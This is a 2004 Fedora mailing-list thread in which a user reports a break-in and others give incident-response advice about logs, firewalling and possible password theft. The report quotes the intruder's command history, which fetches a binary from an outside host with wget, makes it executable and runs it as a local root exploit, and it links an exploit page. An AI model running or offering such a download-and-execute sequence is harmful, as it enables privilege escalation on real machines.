I really should add as well that the exploit mentioned is a local
exploit. You need to be on the machine first as a local user before you
can execute it. Maybe check the non-root user histories as well. Maybe
some one has pinched your password.
On Mon, 2004-11-22 at 15:51 +1100, Aaron Scott wrote:
And how does this prove that there is a vulnerability in fedora and
not that you have poor securty?
According to the URL's you post some one has installed a root kit.
Unlucky. But they had to get it there first.
You should first discover how they got onto your machine. You will
need to check a lot more logs than just wtemp. Try secure and
messages as well. Maybe some one guessed your password. I really
hope that you have firewalled that ip range out to help prevent
further trouble from that IP range ( assuming though the hacker isn't
bouncing from comprimised machine to comprimised machine ). Also, you
might want to consider who has had or might have had physical access
to your machine ( if that is possible ).
Pointing the finger at Fedora with out real proof is pointless.
On Mon, 2004-11-22 at 02:14 +0000, richard mullens wrote:
> Someone logged into my system on 13 Nov 2004
> I found the following in /var/log/wtmp
>
>
207-36-180-20.prt.primarydns.com
>
demo.allegientsystems.com
>
> My user password was changed - but not the root password - and the
> following commands had been executed:-
>
> w
> uname -a
> cat /etc/issue
> cd /tmp
> wget
chebeleu.com/local
> chmod +x local
> ./local -d -r
> ./local -d -r
> lunx
> lynx
>
> There is a similar report dated 10-Nov-2004 at
>
http://episteme.arstechnica.com/eve/ubb.x?a=tpc&s=50009562&f=9650...
> where someone suggested it might be the exploit at
>
http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php
>
> Anybody know any more ?
>
--
fedora-test-list mailing list
fedora-test-list(a)redhat.com
To unsubscribe:
http://www.redhat.com/mailman/listinfo/fedora-test-list